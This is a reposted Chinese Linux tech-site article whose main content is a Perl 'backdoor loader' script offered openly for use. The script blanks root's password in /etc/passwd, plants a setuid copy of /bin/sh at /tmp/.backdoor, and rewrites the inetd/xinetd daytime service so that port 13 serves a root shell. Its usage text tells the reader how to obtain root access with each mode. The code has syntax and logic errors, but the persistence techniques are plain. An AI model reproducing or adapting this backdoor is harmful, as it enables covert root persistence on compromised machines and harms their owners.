首页 | 资讯动态 | linux基础 | 系统管理 | 网络管理 | 编程开发 | linux数据库 | 服务器技术 | linux相关 | linux认证 | 嵌入式 | 下载中心 | 专题 | linux招聘 | HR | 镜像
OKLinux中文技术站
·设为首页
·加入收藏
·联系我们
系统管理: 中文环境 系统管理 桌面应用 内核技术 | Linux基础: 基础入门 安装配置 常用命令 经验技巧 软件应用 | Linux数据库: Mysql Postgre Oracle DB2 Sybase other
网络管理: 网络安全 网络应用 Linux服务器 环境配置 黑客安全 | 编程开发: PHP CC++ Python Perl Shell 嵌入式开发 java jsp | PHP技术: PHP基础 PHP技巧 PHP应用 PHP文摘
搜索中心 Linux招聘 Linux专题 Apache | Linux相关: 硬件相关 Linux解决方案 Linux认证 企业应用 其它Unix | 相关下载: 资料下载 参考手册 开发工具 服务器类 软路由 其它
 技术搜索:
会员中心 注册会员 高级搜索  
  → 当前位置:首页>编程开发>perl>正文

用perl写的linux后门加载程序 

http://www.oklinux.cn  2002-11-30     会员收藏  游客收藏  【 】 
您查看的文章来源于http://www.oklinux.cn

  print "++++++++++++++++++++++++++++++++++++linux后门工具+++++++++++++++++++++++++++++++++++\n";
  print "使用说明,有三中模式rushroot,fakebackdoor,和rushport,rushroot是加一个账号到passwd中,用户名是root,密码为空n fakebackdoor是绑定一个shell到/tmp/.backdoor下,运行后直接取得root shell,rushport是绑定端口在daytime服务中\n,有两个版本,一个是针对redhatlinux7.0一下的--rushport1,一个是针对redhatlinux7.0以上的--rushport2.\n一般服务器都不开这个服务,程序自动激活daytime服务,telnet到13端口直接取得rootshell 这种方法隐蔽性相对前两中最好\n,记住要重启daytime服务才能生效\n eg: rush rushroot,程序还有很多可以优化的地方,如果有什么好的改进请email to gaomeigaocuo\@hotmail.com\n by 流氓我一生\n";
  $parameter = @;ARGV[0];
  chomp $parameter;
  if ($parameter = "rushroot")
  {
  &rushroot;
  }
  elsif ($parameter = "fakebackdoor")
  {
  &fakebackdoor;
  }
  elsif($parameter = "rushport")
  {
  &rushport1;
  }
  else ($parameter = "rushport2")
  {
  &rushport2;
  }
  
  sub rushroot
  {
  open (PWD,"/etc/passwd") || die "cannt find the shadow file!\n";
  while()
  {
  chop;
  $passwd.="$_\n";
  last;
  }
  chomp $passwd;
  if($passwd eq "root:x:0:0:root:/root:/bin/bash")
  {
  $passwd =~s/x//g;
  print "rushroot success!now you can get a rootshell with null passwd";
  }
  else
  {
  print "faild....something wrong....:(((";
  }
  
  
  while()
  {
  chomp;
  $passwd1.="$_\n";
  }
  
  close PWD;
  open (PWD,">/etc/passwd")||die "why?";
  print PWD $passwd;
  print PWD $passwd1;
  }
  
  
  sub fakebackdoor
  {
  @cpsh = ("cp", "/bin/sh /tmp/.backdoor");
  @chmod= ("chmod","u+s /tmp/.backdoor");
  system(@cpsh);
  system(@chmod);
  print "success! now you can use ./tmp/.backdoor to get a root shell\n";
  }
  
  
  sub rushport1
  {
  open (RH6,"/etc/inetd.d/inetd.conf") || die "cannt find the shadow file!\n"; #这里根据版本不同可自己修改路径
  while()
  {
  chomp;
  $passwd.="$_\n";
  chomp $passwd;
  if ($passwd eq "daytime stream tcp nowait root internal")
  {
  $passwd =~s/root internal/bin\/sh -i/g;
  }
  last;
  close RH6;
  open (RH6,">/etc/inetd.d/inetd.conf")||die "faild...:("; # #这里根据版本不同可自己修改路径
  print RH6 $passwd;
  print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";
  }
  }
  
  sub rushport2
  {
  open (DAYTIME,">/etc/xinetd.d/daytime") || die "can't open file!";
  $daytime = "service daytime\n {\n disable = no\n server =/bin/sh\n server_agrs = --norc\n id = daytime-stream\n socket_type = stream\n protocol = tcp\n user = root\n wait = no\n }\n";
  print DAYTIME $daytime;
  print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";
  }
  

上一篇:改良的 Perl:程序员面向 Linux 的设置   下一篇:Linux 使用基本知识:编写简单的perl

收藏于收藏夹】 【评论】 【推荐】 【打印】 【关闭
相关文档
·改良的 Perl:程序员面向 Linux 的设置
·Linux 使用基本知识:编写简单的perl
·Perl语言安全
·ActivePerl PerlIS.dll 远程缓冲区溢出漏洞
·功能丰富的 Perl:轻松调试 Perl的技巧
·功能丰富的 Perl: Perl自动化系统管理
·功能丰富的 Perl: Perl 用于实现遗传算法
·功能丰富的 Perl:编写说英语的 Perl 程序
·功能丰富的 Perl:xinetd 程序用于系统管理
·吸引Web程序员的Perl的模板系统Mason
·用Linux下脚本Perl连接SQL Server
·在Perl中使用SendMail发送邮件
·Linux环境中的Mod_perl 编程介绍
·适合初学者的Perl的文件操作(1)
·适合初学者的Perl的文件操作(2)
·用Perl语言进行Socket网络编程
发表评论
密码: 匿名评论
评论内容:

(不超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规)
 
  最新文档
·Linux下安装Perl脚本语言的方法
·以非超级用户身份安装mod_perl
·优化Perl榨取代码的最大性能
·功能丰富的Perl:Perl自动化系统管理
·使用Perl/Tk把GUI加入服务器编程
·CJavaPHPPerlPython的程序代码美化工具
·改良的Perl:程序员面向Linux的设置
·Perl的经典用法:用Open()函数打开文件
·功能丰富的Perl:轻松调试Perl的技巧
·功能丰富的Perl:Perl用于实现遗传算法
·Linux使用基本知识:编写简单的perl
·功能丰富的Perl:用Perl读写Excel文件
  阅读排行
·使用Perl自动化UNIX系统管理
·功能丰富的Perl:用Perl读写Excel文件
·利用Perl列出系统环境变量清单范例
·Perl的经典用法:用Open()函数打开文件
·Linux下安装Perl脚本语言的方法
·优化Perl榨取代码的最大性能
·用Pear加速PHP程序开发
·怎样从Perl中调用C库里的函数
·Linux使用基本知识:编写简单的perl
·功能丰富的Perl:轻松调试Perl的技巧
·在Perl中使用SendMail发送邮件
·功能丰富的Perl:编写说英语的Perl程序
·用Perl写不刷屏的聊天室原理分析
·吸引C和Java程序员目光的Perl5.6
·改良的Perl:程序员面向Linux的设置
网摘收藏: